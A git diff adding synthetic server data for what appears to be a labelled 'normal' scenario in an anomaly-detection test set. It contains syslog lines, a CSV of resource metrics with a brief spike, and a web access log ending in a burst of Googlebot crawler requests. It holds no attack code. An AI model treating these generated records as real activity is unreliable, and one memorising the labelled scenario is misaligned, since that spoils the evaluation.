/api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.166 +Aug 22 10:05:52 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:52 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.90 +Aug 22 10:05:59 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.160 +Aug 22 10:06:02 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.174 +Aug 22 10:06:08 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.139 +Aug 22 10:06:13 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.124 +Aug 22 10:06:22 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:28 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:33 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.13 +Aug 22 10:06:37 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.32 +Aug 22 10:06:44 web-server-prod-1[2000]: GET /api/v1/user/profile status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.88 +Aug 22 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:12 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.156 +Aug 22 10:07:12 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:17 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.43 +Aug 22 10:07:24 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.191 +Aug 22 10:07:27 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:28 web-server-prod-1[2000]: GET /api/v1/data status=200 user_agent="Mozilla/5.0..." remote_ip=192.168.1.200 diff --git a/norm_dataset/scenario_8/norm_8_2.csv b/norm_dataset/scenario_8/norm_8_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..2edce51c4f89ae2b052a11659fbc70f605551ec9 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.39085516347303,44.19348400426972,37.13577479559009,1.9404887696098332,1.4156187784431187 +2025-07-02T12:00:05Z,15.94104061774843,43.79985950717676,37.02968052762768,1.0918960667424615,1.4777188328535213 +2025-07-02T12:00:10Z,15.239134581185429,45.11344435345575,34.31730494301158,1.1827726577035351,1.2440239292176607 +2025-07-02T12:00:15Z,15.733720999530535,48.98870979269941,27.464411013674393,1.0995603305656005,1.2646262086317308 +2025-07-02T12:00:20Z,10.313365583191695,44.317386534672266,39.5507585842775,1.9260569559805045,1.5193356007962726 +2025-07-02T12:00:25Z,17.879403908365383,45.93203866957336,34.57181272805895,1.547262794169191,1.1297093165758827 +2025-07-02T12:00:30Z,15.077219429930718,44.80146429255728,34.264560042269466,1.482874899190123,1.7017336527632345 +2025-07-02T12:00:35Z,12.632548282370617,48.19426679788346,22.729872276161828,1.4130961651446348,1.5690876151206608 +2025-07-02T12:00:40Z,14.85908387168812,47.10672359624694,39.5143427677893,1.1049860909360314,1.7869044087906787 +2025-07-02T12:00:45Z,11.919541980494984,46.06342440111569,27.43272562814429,1.0541466210123769,1.9927253763924189 +2025-07-02T12:00:50Z,12.399095894134193,47.73153965539127,32.0692531437882,1.6484252798571946,1.5261729652995624 +2025-07-02T12:00:55Z,12.101004228916011,46.89892499211439,39.58042444405921,1.9985591657761144,1.9683614802526634 +2025-07-02T12:01:00Z,12.299252674995198,47.50087969410592,26.153514130082655,1.9394886129434346,1.6285347424533008 +2025-07-02T12:01:05Z,15.62695334900026,49.50779507266524,29.076005210727097,1.234530167716335,1.5592003372388912 +2025-07-02T12:01:10Z,10.097998041120794,45.97469111102988,35.54926912266449,1.080488267071125,1.672872303245247 +2025-07-02T12:01:15Z,10.58460196623921,49.89237621786443,24.60682705036799,1.5703199354571509,1.470288341912683 +2025-07-02T12:01:20Z,10.190244905726749,43.135204196006015,28.348590510164655,1.7228630463362236,1.4721496081883148 +2025-07-02T12:01:25Z,18.804872426688263,46.95207970709851,22.034342163697204,1.904341275824169,1.6141926281361372 +2025-07-02T12:01:30Z,14.907152223578894,41.77281324866567,35.237506184717034,1.947177083503802,1.1698699662437047 +2025-07-02T12:01:35Z,10.18204988712469,46.17610423635027,29.154265299877217,1.544593639315151,1.8675807696325277 +2025-07-02T12:01:40Z,12.675087181305578,40.239720054139624,26.118150366492156,1.5780409547206444,1.3094925616968838 +2025-07-02T12:01:45Z,11.077347426478859,43.14018147104445,37.93464728291923,1.1814930084228537,1.5751380614559105 +2025-07-02T12:01:50Z,11.352814549555951,44.343433761249564,34.18690703024783,1.7295257317411368,1.254407238075805 +2025-07-02T12:01:55Z,11.005107088168213,49.79840830809731,39.14038238512068,1.2554773123078384,1.1652910536603516 +2025-07-02T12:02:00Z,17.294302738661003,42.767529571116,20.450342913614364,1.9305727016341305,1.582366087700248 +2025-07-02T12:02:05Z,19.09020269459725,41.67610809742933,28.063403858916033,1.9819594131117126,1.8551614671115395 +2025-07-02T12:02:10Z,18.954631250227386,41.63620150483929,26.435113729335384,1.3831538598317596,1.4675491963540277 +2025-07-02T12:02:15Z,19.903643880190344,46.9065905137687,25.172885935921098,1.8664582100599698,1.6106507711498919 +2025-07-02T12:02:20Z,14.46258036945514,49.13928910500371,27.9886281574597,1.2932599486907193,1.5909856135688498 +2025-07-02T12:02:25Z,19.352185922828397,49.09250915108674,28.582840843859707,1.2625188495188222,1.901263537384088 +2025-07-02T12:02:30Z,88.05676736509359,47.4355079776018,66.03279103682067,8.628544489478056,9.129149631640933 +2025-07-02T12:02:35Z,88.32416152403437,45.74403678943799,87.04289400903167,13.418740677518244,7.901711957208137 +2025-07-02T12:02:40Z,72.87819951374486,49.375869489056235,75.99722337191005,8.477741942893028,6.345198272257641 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+2025-07-02T12:07:25Z,18.335720461496667,40.641498607311945,22.392746056037385,1.0408548569749811,1.0945824028848334 diff --git a/norm_dataset/scenario_8/norm_8_2.log b/norm_dataset/scenario_8/norm_8_2.log new file mode 100644 index 0000000000000000000000000000000000000000..fa75bb067a14a8cd11cdfbcf69e7546ba386b33e --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_2.log @@ -0,0 +1,1339 @@ +203.0.113.15 - - [02/Jul/2025:12:00:00 +0000] "GET /products HTTP/1.1" 404 7379 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:00:01 +0000] "GET /products HTTP/1.1" 404 7751 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:00:00 +0000] "GET /products/item/123 HTTP/1.1" 200 2484 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:00:08 +0000] "GET /about-us HTTP/1.1" 200 5771 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:00:06 +0000] "GET /contact HTTP/1.1" 404 6029 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:00:07 +0000] "GET / HTTP/1.1" 404 7331 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:00:12 +0000] "GET / HTTP/1.1" 404 5359 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:00:12 +0000] "GET / HTTP/1.1" 200 6741 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:00:15 +0000] "GET /products/item/123 HTTP/1.1" 500 6535 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:00:19 +0000] "GET /about-us HTTP/1.1" 404 6041 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:00:15 +0000] "GET /contact HTTP/1.1" 200 2539 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:00:23 +0000] "GET /products HTTP/1.1" 500 3381 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:00:21 +0000] "GET /contact HTTP/1.1" 200 3397 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:00:26 +0000] "GET / HTTP/1.1" 200 4819 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:00:25 +0000] "GET /blog/article-45 HTTP/1.1" 200 6646 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:00:26 +0000] "GET /blog/article-45 HTTP/1.1" 500 7476 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:00:30 +0000] "GET /products/item/123 HTTP/1.1" 200 3713 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:00:31 +0000] "GET / HTTP/1.1" 200 3138 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:00:37 +0000] "GET /blog/article-45 HTTP/1.1" 404 5951 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:00:40 +0000] "GET / HTTP/1.1" 404 5050 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:00:47 +0000] "GET / HTTP/1.1" 200 1860 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:00:48 +0000] "GET /blog/article-45 HTTP/1.1" 500 2145 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:00:47 +0000] "GET /blog/article-45 HTTP/1.1" 500 7249 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:00:51 +0000] "GET /contact HTTP/1.1" 500 5071 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:00:55 +0000] "GET /blog/article-45 HTTP/1.1" 200 1798 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:00:58 +0000] "GET /about-us HTTP/1.1" 200 2520 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:00:56 +0000] "GET /contact HTTP/1.1" 200 7581 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:01:00 +0000] "GET /contact HTTP/1.1" 500 3650 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:01:09 +0000] "GET /products HTTP/1.1" 404 5724 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:01:05 +0000] "GET /products/item/123 HTTP/1.1" 500 3978 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:01:08 +0000] "GET / HTTP/1.1" 200 4396 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:01:11 +0000] "GET /blog/article-45 HTTP/1.1" 404 2068 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:01:13 +0000] "GET /contact HTTP/1.1" 200 2677 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:01:18 +0000] "GET /products HTTP/1.1" 500 2254 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:01:16 +0000] "GET /products HTTP/1.1" 200 7639 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:01:21 +0000] "GET /about-us HTTP/1.1" 200 2333 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:01:28 +0000] "GET /products/item/123 HTTP/1.1" 500 7940 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:01:32 +0000] "GET /contact HTTP/1.1" 200 6638 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:01:33 +0000] "GET /contact HTTP/1.1" 200 4247 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:01:39 +0000] "GET /products HTTP/1.1" 500 4684 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:01:43 +0000] "GET /blog/article-45 HTTP/1.1" 404 4243 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:01:43 +0000] "GET /contact HTTP/1.1" 500 3284 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:01:45 +0000] "GET /products/item/123 HTTP/1.1" 500 5563 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +10.0.0.54 - - [02/Jul/2025:12:01:46 +0000] "GET /contact HTTP/1.1" 200 3782 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +203.0.113.15 - - [02/Jul/2025:12:01:54 +0000] "GET /about-us HTTP/1.1" 200 7194 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:01:55 +0000] "GET /products/item/123 HTTP/1.1" 500 2345 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:02:02 +0000] "GET /products HTTP/1.1" 404 2402 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +203.0.113.15 - - [02/Jul/2025:12:02:04 +0000] "GET /blog/article-45 HTTP/1.1" 200 7270 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:02:09 +0000] "GET /products HTTP/1.1" 200 7524 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:02:09 +0000] "GET /contact HTTP/1.1" 500 4476 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:02:13 +0000] "GET /contact HTTP/1.1" 200 4191 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:02:11 +0000] "GET /about-us HTTP/1.1" 500 4333 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:02:16 +0000] "GET /blog/article-45 HTTP/1.1" 200 6948 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.101 - - [02/Jul/2025:12:02:18 +0000] "GET /products/item/123 HTTP/1.1" 200 7899 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.101 - - [02/Jul/2025:12:02:23 +0000] "GET /about-us HTTP/1.1" 404 3940 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +172.16.31.200 - - [02/Jul/2025:12:02:26 +0000] "GET / HTTP/1.1" 200 3031 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +172.16.31.200 - - [02/Jul/2025:12:02:26 +0000] "GET /contact HTTP/1.1" 404 3579 "http://example.com/referral" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +10.0.0.54 - - [02/Jul/2025:12:02:28 +0000] "GET /products/item/123 HTTP/1.1" 200 6189 "http://example.com/referral" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +66.249.66.9 - - [02/Jul/2025:12:02:34 +0000] "GET /contact HTTP/1.1" 200 6220 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:32 +0000] "GET / HTTP/1.1" 200 4542 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:34 +0000] "GET /about-us HTTP/1.1" 200 4314 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 6168 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 2742 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:32 +0000] "GET /products/item/123 HTTP/1.1" 200 6366 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:33 +0000] "GET /products/item/123 HTTP/1.1" 200 4055 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:30 +0000] "GET /about-us HTTP/1.1" 200 3315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:33 +0000] "GET /contact HTTP/1.1" 200 4882 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:34 +0000] "GET /contact HTTP/1.1" 200 3464 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:34 +0000] "GET / HTTP/1.1" 200 3635 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:30 +0000] "GET /products/item/123 HTTP/1.1" 200 5817 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 7239 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET / HTTP/1.1" 200 3989 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:34 +0000] "GET / HTTP/1.1" 200 4842 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:32 +0000] "GET /products/item/123 HTTP/1.1" 200 5460 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:33 +0000] "GET /products HTTP/1.1" 200 3704 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:33 +0000] "GET / HTTP/1.1" 200 5940 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:32 +0000] "GET /products/item/123 HTTP/1.1" 200 7940 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:30 +0000] "GET /contact HTTP/1.1" 200 3938 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:30 +0000] "GET /contact HTTP/1.1" 200 5988 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 3548 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:32 +0000] "GET /contact HTTP/1.1" 200 1695 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:32 +0000] "GET /contact HTTP/1.1" 200 5412 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 6589 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:33 +0000] "GET /products/item/123 HTTP/1.1" 200 3016 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:32 +0000] "GET /about-us HTTP/1.1" 200 7785 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:31 +0000] "GET /blog/article-45 HTTP/1.1" 200 6777 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 7509 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.9 - - [02/Jul/2025:12:02:34 +0000] "GET /products HTTP/1.1" 200 4758 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:33 +0000] "GET /products HTTP/1.1" 200 4922 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:31 +0000] "GET /contact HTTP/1.1" 200 5827 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:34 +0000] "GET /contact HTTP/1.1" 200 1641 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [02/Jul/2025:12:02:32 +0000] "GET /about-us HTTP/1.1" 200 2845 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.132 - - [02/Jul/2025:12:02:34 +0000] "GET /contact HTTP/1.1" 200 2446 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [02/Jul/2025:12:02:34 +0000] "GET / HTTP/1.1" 200 7132 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.128 - - [02/Jul/2025:12:02:30 +0000] "GET /products HTTP/1.1" 200 4008 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 